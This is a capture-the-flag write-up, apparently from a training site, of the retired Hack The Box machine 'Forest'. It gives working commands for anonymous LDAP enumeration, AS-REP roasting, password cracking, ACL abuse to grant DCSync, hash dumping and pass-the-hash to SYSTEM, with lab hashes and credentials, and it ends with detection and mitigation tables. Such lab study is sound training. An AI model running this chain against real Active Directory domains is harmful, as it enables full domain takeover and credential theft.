Skip to content
Pwnversity
FOREST13 min · upd. 2026-11

Forest

active-directoryldapasrep-roastingbloodhounddcsync
Platform Hack The Box (retired)
OS Windows Server 2016 — domain controller FOREST.htb.local
Difficulty Easy
Approx. time ~30 min
Chain Anonymous LDAP → AS-REP roasting of svc-alfresco → WinRM → Account Operators → WriteDACL via Exchange Windows Permissions → DCSync → SYSTEM
flowchart TD
  A["Anonymous LDAP bind"] --> B["User enumeration<br/>svc-alfresco"]
  B -->|GetNPUsers| C["AS-REP $krb5asrep$23$<br/>(pre-auth disabled)"]
  C -->|john / rockyou| D["svc-alfresco : s3rvice"]
  D -->|evil-winrm| E["Domain-user shell"]
  E -->|BloodHound| F["Account Operators<br/>→ Exchange Windows Permissions"]
  F -->|WriteDACL over the domain| G["DCSync to a controlled user"]
  G -->|secretsdump| H["Administrator NT hash"]
  H -->|psexec pass-the-hash| I["NT AUTHORITY\SYSTEM on the DC"]
  • The DC allows anonymous LDAP binds, so we enumerate the whole directory with no credentials. Exchange is installed and a service account, svc-alfresco, has Kerberos pre-authentication disabled.
  • We request its AS-REP, crack it offline (AS-REP roasting) and log in over WinRM as a domain user.
  • BloodHound shows svc-alfresco nest-inherits Account Operators, which can modify non-protected groups. We add ourselves to Exchange Windows Permissions, which holds WriteDACL over the domain, grant ourselves DCSync, dump Administrator’s hash and pass-the-hash with psexec. No software is exploited: it’s misassigned privileges and ACLs.

  1. Port scan

    What I do:

    Ventana de terminal
    IP=<target_ip>
    ports=$(sudo nmap -p- --min-rate 5000 -n -Pn $IP | grep '^[0-9]' | cut -d/ -f1 | paste -sd,)
    sudo nmap -sCV -p$ports $IP -oN nmap/targeted

    What I see:

    53/tcp open domain Simple DNS Plus
    88/tcp open kerberos-sec Microsoft Windows Kerberos
    139/tcp open netbios-ssn
    389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: htb.local)
    445/tcp open microsoft-ds Windows Server 2016 Standard 14393
    464/tcp open kpasswd5
    593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
    636/tcp open tcpwrapped
    3268/tcp open ldap (Global Catalog)
    5985/tcp open http Microsoft HTTPAPI httpd 2.0 (WinRM)
    9389/tcp open mc-nmf .NET Message Framing

    What I think: DNS + Kerberos + LDAP + Global Catalog = domain controller for htb.local. 5985 (WinRM) being open matters: if I get a domain credential, I likely get a direct shell. With no credentials, the first stop is LDAP, which on a DC often accepts anonymous binds. → Network service enumeration

    Ventana de terminal
    echo "$IP htb.local forest.htb.local" | sudo tee -a /etc/hosts

2. Initial access: from anonymous to domain user

Section titled “2. Initial access: from anonymous to domain user”
  1. Check for an anonymous LDAP bind

    What I do:

    Ventana de terminal
    ldapsearch -x -H ldap://$IP -b "dc=htb,dc=local" | head

    What I see: the server returns the domain root object (DC=htb,DC=local) without asking for credentials.

    What I think: -x forces simple authentication and, with no user supplied, it tries an anonymous bind. Getting data back means the null bind is allowed, so I can read the whole directory with no account.

    Why it matters: an unauthenticated attacker gets the full list of users, groups and attributes. → Active Directory enumeration

  2. Enumerate domain users

    What I do: with the anonymous bind, pull the accounts. windapsearch, ldapsearch with an objectClass=user filter, or nxc ldap $IP -u '' -p '' --users all work.

    Ventana de terminal
    nxc ldap $IP -u '' -p '' --users

    What I see: among the accounts there are several Exchange system mailboxes, real users (sebastien, lucinda, andy, mark, santi) and a service account: svc-alfresco.

    What I think: the SystemMailbox{…} accounts and the Microsoft Exchange Security Groups confirm Exchange is installed (relevant for the escalation). A service account is always a Kerberoasting / AS-REP candidate.

  3. AS-REP roasting of svc-alfresco

    What I do:

    Ventana de terminal
    impacket-GetNPUsers htb.local/svc-alfresco -dc-ip $IP -no-pass

    What I see:

    [*] Getting TGT for svc-alfresco
    $krb5asrep$23$svc-alfresco@HTB.LOCAL:fef58ddc...<SNIP>

    Why it works: svc-alfresco has DONT_REQ_PREAUTH set, i.e. it does not require Kerberos pre-authentication. Without pre-auth the KDC hands the AS-REP to anyone who asks, and part of that response is encrypted with the user’s password hash. We take it and attack it offline — no prior credential needed. → Kerberos attacks: AS-REP roasting

  4. Crack the AS-REP

    What I do:

    Ventana de terminal
    john hash --wordlist=/usr/share/wordlists/rockyou.txt
    john hash --show
    # svc-alfresco:s3rvice

    What I see: the password is s3rvice. The hash is etype 23 (RC4), quick to crack.

  5. Log in over WinRM

    What I do:

    Ventana de terminal
    nxc winrm $IP -u svc-alfresco -p 's3rvice'
    evil-winrm -i $IP -u svc-alfresco -p 's3rvice'

    What I see: nxc reports (Pwn3d!) and evil-winrm opens a shell:

    *Evil-WinRM* PS C:\Users\svc-alfresco\Documents> whoami
    htb\svc-alfresco

    user.txt → abcd…wxyz (redacted), at C:\Users\svc-alfresco\Desktop\user.txt.

    Why it works: svc-alfresco is a member of Remote Management Users, the group that enables WinRM (5985) access. → Lateral movement and remote execution

3. Escalation: from domain user to Domain Admin

Section titled “3. Escalation: from domain user to Domain Admin”
  1. Collect the graph with BloodHound

    What I do: upload the collector to the target and run it, or collect remotely with bloodhound-python.

    Ventana de terminal
    # Remote option, without touching the target's disk:
    bloodhound-python -u svc-alfresco -p 's3rvice' -d htb.local -ns $IP -c All --zip

    What I think: with no privileged shell and no obvious vulnerable software, AD escalation almost always lives in the ACLs and nested memberships. BloodHound is the fast way to see them. I mark svc-alfresco as owned and inspect its groups. → BloodHound: mapping the domain

  2. Read the path: Account Operators → Exchange Windows Permissions → domain

    What I see: svc-alfresco nest-inherits Account Operators, and one of the paths to high-value targets shows that Exchange Windows Permissions holds WriteDACL over the domain object.

    What I think: it’s a two-link chain:

    • Account Operators can create users and modify non-protected groups.
    • Exchange Windows Permissions is not a protected group and has WriteDACL over the domain, which lets you rewrite its DACL and grant yourself DCSync.
    PrivilegeWho holds itWhat it buys
    Modify non-protected groupsAccount Operators (inherited)Add myself to Exchange Windows Permissions
    WriteDACL over the domainExchange Windows PermissionsGrant myself DCSync rights
    DCSync (DS-Replication-Get-Changes*)the user I controlDump every domain hash

    → AD ACL abuse

  3. Create a user and place it in the groups

    What I do: from the WinRM shell, as svc-alfresco (which has Account Operators):

    Ventana de terminal
    net user pwn Abc123! /add /domain
    net group "Exchange Windows Permissions" pwn /add
    net localgroup "Remote Management Users" pwn /add

    Why it works: Account Operators lets me create pwn and add it to Exchange Windows Permissions because that group is not protected by AdminSDHolder. I add it to Remote Management Users for convenience.

  4. Grant myself DCSync via the domain DACL

    What I do: import PowerView and, with the new user’s credentials, assign myself replication rights.

    Ventana de terminal
    . .\PowerView.ps1
    $pass = ConvertTo-SecureString 'Abc123!' -AsPlainText -Force
    $cred = New-Object System.Management.Automation.PSCredential('htb\pwn', $pass)
    Add-DomainObjectAcl -Credential $cred -TargetIdentity 'DC=htb,DC=local' `
    -PrincipalIdentity pwn -Rights DCSync

    Why it works: Exchange Windows Permissions has WriteDACL over the domain object, so I can add an ACE granting myself DS-Replication-Get-Changes and DS-Replication-Get-Changes-All. Those two rights together are DCSync. → Credential dumping: DCSync

  5. DCSync: dump Administrator’s hash

    What I do:

    Ventana de terminal
    impacket-secretsdump htb.local/pwn:'Abc123!'@$IP

    What I see:

    htb.local\Administrator:500:aad3b435...:32693b11e6aa90eb43d32c72a07ceea6:::
    krbtgt:502:aad3b435...:819af826bb148e603acb0f33d17632f8:::
    <...SNIP...>

    Why it works: with replication rights, secretsdump uses the DRSUAPI protocol (the one DCs use between themselves) to request the NTDS.DIT secrets without touching disk. We get Administrator’s NT hash.

  6. Pass-the-hash to SYSTEM

    What I do:

    Ventana de terminal
    nxc smb $IP -u Administrator -H 32693b11e6aa90eb43d32c72a07ceea6
    impacket-psexec administrator@$IP -hashes aad3b435b51404eeaad3b435b51404ee:32693b11e6aa90eb43d32c72a07ceea6

    What I see:

    C:\Windows\system32> whoami
    nt authority\system

    Why it works: NTLM doesn’t need the cleartext password: the NT hash is enough to authenticate. psexec uploads a service to ADMIN$ and starts it as SYSTEM. Stealthier: wmiexec (runs as the user, no new service) or evil-winrm with -H. → impacket’s -exec tools

    root.txt → abcd…wxyz (redacted), at C:\Users\Administrator\Desktop\root.txt.


It’s a DC and you have no credentials. Which directory service often accepts unauthenticated connections?

What I tried Result How I ruled it out
Kerberoasting (GetUserSPNs) No interesting user SPNs The path was AS-REP, not Kerberoasting
SMB shares with a null session Only the default ones, no loot No credentials in shares
Local privesc on the host (SeImpersonate, services) Unnecessary The domain path (ACLs) gave DA directly
  • DC with no credentials → try an anonymous LDAP bind (ldapsearch -x) first: if it works, you have the whole directory.
  • User list → AS-REP roast immediately (GetNPUsers … -no-pass). Seconds of work, no credential needed.
  • First domain shell → BloodHound, always. AD escalation usually lives in ACLs and nested groups, not in an exploit.
  • Account Operators is deceptive: it looks harmless but can add accounts to non-protected groups with dangerous permissions (here, Exchange Windows Permissions with WriteDACL).
  • WriteDACL over the domain = DCSync. Learn the chain: any principal with WriteDACL over the domain object can grant itself replication rights.
Phase Detection Mitigation
Anonymous LDAP bind Hard to tell from legitimate traffic; audit anonymous binds and query volume Disable anonymous binds (dsHeuristics); require LDAP signing / channel binding
AS-REP roasting Event 4768 with Ticket Encryption Type 0x17 (RC4) and pre-auth not required Remove DONT_REQ_PREAUTH; long passwords on service accounts; enforce AES
Group changes (net group) Events 4728/4732 (member added to group), especially sensitive groups Protect Exchange Windows Permissions with AdminSDHolder; review who inherits Account Operators
Domain DACL modification Event 5136 (directory object attribute change) on the domain object Monitor replication ACEs; audit WriteDACL over the domain
DCSync Event 4662 with the DS-Replication-Get-Changes* GUIDs from a non-DC host Restrict replication rights to DCs only; alert on DRSUAPI off the DCs
PsExec pass-the-hash Event 7045 (new service), 4624 type 3 from admin on an unusual host Admin tiering; LAPS; restrict ADMIN$; EDR